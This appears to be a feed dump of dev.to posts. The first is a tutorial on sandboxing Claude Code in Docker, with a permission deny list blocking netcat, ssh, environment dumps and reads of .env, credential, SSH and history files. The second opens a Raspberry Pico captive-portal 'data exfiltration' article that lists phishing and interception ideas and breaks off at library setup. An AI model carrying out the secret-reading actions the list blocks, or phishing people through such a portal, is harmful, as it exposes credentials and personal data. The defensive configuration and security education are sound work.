&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /var/lib/apt/lists/&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @anthropic-ai/claude-code@2.1.91 &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/claude-code

&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; SUDO_PASSWORD&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"node:&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SUDO_PASSWORD&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | chpasswd
&lt;span class="k"&gt;RUN &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;node

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; build/ /etc/claude-code/&lt;/span&gt;

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; PATH="/home/node/.local/bin:${PATH}"&lt;/span&gt;
&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; node&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["sleep", "infinity"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this Dockerfile as a staging point. If you are developing a Python, Go, or Rust project, add the required libraries and base tools to this file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Permissions
&lt;/h3&gt;

&lt;p&gt;When Claude Code starts, a permission dialog for the current folder is opened. By confirming this, read access to all files in this folder is provided. From there on, all tool invocations, from bash commands to binaries, need to be approved too. Certain commands can accidently expose files that contains secrets, run commands that print environment variables, or access network and Docker sockets.&lt;/p&gt;

&lt;p&gt;To prevent this access, a permission file can be used. This file should be placed at an OS specific directory so that it provides global rules for all Claude Code sessions. In a Linux environment, the permission file should be placed at the location &lt;code&gt;/etc/claude-code/managed-settings.json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Paste the following content to prevent accidental exposure of common secrets, and reduce model invocation calls for telemetry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"$schema"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://json.schemastore.org/claude-code-settings.json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"allow_remote_sessions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"attribution"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"commit"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"pr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"deny"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(netstat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(printenv*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ssh*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ss*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(nc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ncat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(netcat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.git-credentials*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.gitconfig*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.git-credentials*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.gitconfig*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.bashrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.zshrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.bashrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.zshrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.bash_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.zsh_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.bash_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.zsh_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.ssh/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.ssh/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/proc/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/proc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(/proc/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(/proc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/*.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/*.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/run/docker.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/var/run/docker.sock)"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Building the Container
&lt;/h3&gt;

&lt;p&gt;Build the container with the following command. A random password will be created for the default user &lt;code&gt;node&lt;/code&gt; in order to prevent unobserved privilege escalation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; docker build &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SUDO_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;LC_CTYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-cd&lt;/span&gt; &lt;span class="s1"&gt;'[:alnum:]'&lt;/span&gt; &amp;lt;/dev/urandom | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 10&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tag&lt;/span&gt; claude-code-local:2.1.91 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Take a good look at the build log, it reveals the generated password. Note it down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Container Usage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Starting the Container
&lt;/h3&gt;

&lt;p&gt;When the Docker image is built, you can start it with the preferred mount directory as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;./,dst&lt;span class="o"&gt;=&lt;/span&gt;/opt/claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; claude-code-local &lt;span class="se"&gt;\&lt;/span&gt;
  claude-code-local:2.1.91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude code persists session, memory, and global settings in the local &lt;code&gt;~/.claude&lt;/code&gt; directory. If you wish to keep these settings, you need to create and mount this directory to the container.&lt;/p&gt;

&lt;p&gt;In a local terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.claude/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, start the container with the additional mount. If you have the container still running, you need to stop it first with &lt;code&gt;docker stop claude-code-local&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;./,dst&lt;span class="o"&gt;=&lt;/span&gt;/opt/claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.claude"&lt;/span&gt;,dst&lt;span class="o"&gt;=&lt;/span&gt;/home/node/.claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; claude-code-local &lt;span class="se"&gt;\&lt;/span&gt;
  claude-code-local:2.1.91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Starting a Claude Code session
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Model Configuration
&lt;/h3&gt;

&lt;p&gt;During the first startup of the container, you need to authenticate with an LLM provider. In addition to using an Anthropic account, LLM routers such as &lt;a href="https://openrouter.ai/" rel="noopener noreferrer"&gt;openrouter&lt;/a&gt; or &lt;a href="https://docs.litellm.ai/" rel="noopener noreferrer"&gt;litellm&lt;/a&gt; can be used to gain access to any LLM provider, including Azure, Google, Ollama, and others.&lt;/p&gt;

&lt;p&gt;You can also use your GitHub Co-Pilot subscription - which is shown here. Run the following command to exec into the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; claude-code-local bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, install and run the helper library &lt;a&gt;copilot-api&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx copilot-api@latest start &lt;span class="nt"&gt;--proxy-env&lt;/span&gt;
Need to &lt;span class="nb"&gt;install &lt;/span&gt;the following packages:
copilot-api@0.7.0
Ok to proceed? &lt;span class="o"&gt;(&lt;/span&gt;y&lt;span class="o"&gt;)&lt;/span&gt; y
ℹ Using VSCode version: 1.113.0
ℹ Not logged &lt;span class="k"&gt;in&lt;/span&gt;, getting new access token
ℹ Please enter the code &lt;span class="s2"&gt;"9A4A-9DB1"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;https://github.com/login/device
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the link, login with your GitHub credentials, and paste the OTP code. Shortly afterwards, you should see which LLM models are selectable for your session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Available models:
- claude-opus-4.6-fast
- claude-opus-4.6
- claude-sonnet-4.6
- gemini-3.1-pro-preview
- goldeneye-free-auto
- gpt-5.2-codex
- gpt-5.4
- raptor-mini-tertiary
- gpt-5-mini
- gpt-4o-mini-2024-07-18
- gpt-4o-2024-11-20
- gpt-4o-2024-08-06
- grok-code-fast-1
- text-embedding-3-small
- text-embedding-3-small-inference
- claude-haiku-4.5
- gpt-4.1-2025-04-14
- oswe-vscode-prime
- oswe-vscode-secondary
- gpt-41-copilot
- gpt-3.5-turbo-0613
- gpt-4
- gpt-4-0613
- gpt-4-0125-preview
- gpt-4o-2024-05-13
- gpt-4-o-preview
- gpt-4.1
- gpt-3.5-turbo
- gpt-4o-mini
- gpt-4
- gpt-4o
- gpt-4-o-preview
- text-embedding-ada-002

➜ Listening on: http://localhost:4141/ &lt;span class="o"&gt;(&lt;/span&gt;all interfaces&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, create &lt;code&gt;~/.claude/settings.json&lt;/code&gt; and paste the following content. Be sure to set a model mapping to your liking. Anthropics distinction into Haiku, Sonnet, and Opus needs to be mapped to available GitHub Co-Pilot models.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_BASE_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:4141"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_AUTH_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"not-required"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_OPUS_MODEL "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-opus-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_SONNET_MODEL "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_HAIKU_MODEL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-haiku-4.5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Session Start
&lt;/h3&gt;

&lt;p&gt;And finally, you can start a Claude code session. Exec into the Docker container, which automatically jumps to the defined directory &lt;code&gt;/opt/claude&lt;/code&gt; with your mounted project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The opening dialog starts ...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkf6wcnfzid9eh560uos.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkf6wcnfzid9eh560uos.png" width="482" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And once confirmed, you can start your session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9vqse9vuanpins8hmj8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9vqse9vuanpins8hmj8.png" width="800" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Claude Code is one of the most prominent agentic tools for code generation. This article starts a new series to systematically explore its CLI tools, slash commands, and use-cases. You learned how to setup a Claude Code in a Docker container, which provides a sandboxed environment into which you mount specific local directories. You saw the Dockerfile, a managed settings permission files that restricts access to sensitive data and environments, and learned the commands to build, start, and use the Docker container. From the many options of LLM providers, GitHub CoPilot was chosen. The next article continues with the exploration of its CLI commands.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>ai</category>
    </item>
    <item>
      <title>Hacking with Raspberry Pico: Data Exfiltration with a Captive Portal</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 28 May 2026 04:46:34 +0000</pubDate>
      <link>https://dev.to/admantium/hacking-with-raspberry-pico-data-exfiltration-with-a-captive-portal-g8d</link>
      <guid>https://dev.to/admantium/hacking-with-raspberry-pico-data-exfiltration-with-a-captive-portal-g8d</guid>
      <description>&lt;p&gt;The Raspberry Pico microcontroller is a stunning device that can be employed in several application areas, from reading sensor data, drawing pixels on a screen, and consuming APIs. Its small form factor, enough hardware power, and programmable behavior contribute equally. But did you know that the Pico can be used for hacking as well?&lt;/p&gt;

&lt;p&gt;This article shows how to create a captive portal that runs on a Raspberry Pico W. A captive portal is an informal way with which client devices connect to local WiFi with the intention to gain full access to the internet. Since clients connect unsolicited to these portals, and because the user provides some amount of personal information, several exploits can be engineered. Creating a captive portal is surprisingly easy with the right software and the knowledge which clients require which URLs. You will learn both aspects in this article.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;MicroPython v1.23.0&lt;/code&gt; and the webserver/webpage templating library &lt;code&gt;phew v0.0.3&lt;/code&gt;. The examples should work with newer versions too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Raspberry Hacking: Phishing Hotspot". The article itself cannot be accessed, but its &lt;a href="https://www.heise.de/select/ct/2023/27/softlinks/y95e" rel="noopener noreferrer"&gt;link collection&lt;/a&gt; is available on the public internet.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro27_rasperry_pico_captive_portal/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Required Hardware
&lt;/h2&gt;

&lt;p&gt;As with several other microcontroller projects, the required bill of materials is short and concise:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pico W (model 1 and 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is a Captive Portal?
&lt;/h2&gt;

&lt;p&gt;A captive portal is a WiFi hotspot to which client devices connect autonomously. Typically, you encounter these portals in public spaces, cafes or hotels. For a not registered device, HTTP redirects and DNS redirects force the device to open the portal landing page. This page typically shows branded information and advertisement, and a form asking for personal details and agreement to the service usage. Once accepted, the portal puts the clients MAC address into an allowlist, and full internet access is granted.&lt;/p&gt;

&lt;p&gt;In this process, several exploits can be placed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Device sniffing: The captive portal opens a device specific workflow, and some devices may make hotspot requests unsolicited. This can be used to passively grab device metadata.&lt;/li&gt;
&lt;li&gt;Information dissemination: The portals landing page is shown to the client without restrictions, it can provide unsolicited information.&lt;/li&gt;
&lt;li&gt;Information stealing: A branded website fake might induce users to provide personal information.&lt;/li&gt;
&lt;li&gt;Man in the Middle: The portal controls HTTP requests. The ruleset of HTTP and DNS redirects that are enforced on new clients can be used for traffic shaping and interception.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  MicroPython and Library Setup
&lt;/h2&gt;

&lt;p&gt;To program the portal, the Pico needs to be flashed with MicroPython and include an external library. The concrete steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the &lt;a href="https://micropython.org/download/RPI_PICO_W/" rel="noopener noreferrer"&gt;latest MicroPython distribution&lt;/a&gt; for the Raspberry Pico W&lt;/li&gt;
&lt;li&gt;Connect the Pico to your computer, hold down the bootsel button, and put the Pico into USB mode&lt;/li&gt;
&lt;li&gt;Drag and drop the MicroPython UF2 image to the Pico&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Pico reboots itself. Then, open the &lt;a href="https://thonny.org/" rel="noopener noreferrer"&gt;Thonny IDE&lt;/a&gt;, configure the interpreter to "MicroPython (Raspberry Pi Pico)", and select your connected board. Using Thonny's file explorer, you can add the required library.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to the &lt;a href="https://github.com/pimoroni/phew" rel="noopener noreferrer"&gt;phew library GitHub project&lt;/a&gt;, and either download the latest release or the projects current code base from the main branch&lt;/li&gt;
&lt;li&gt;Create the folder &lt;code&gt;lib&lt;/code&gt;, and then copy the phew source code into this directory&lt;/li&gt;
&lt;li&gt;Create an empty file called &lt;code&gt;__init__.py&lt;/code&gt; inside the &lt;code&gt;lib&lt;/code&gt; folder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The resulting file structure should look like this:&lt;/p&gt;

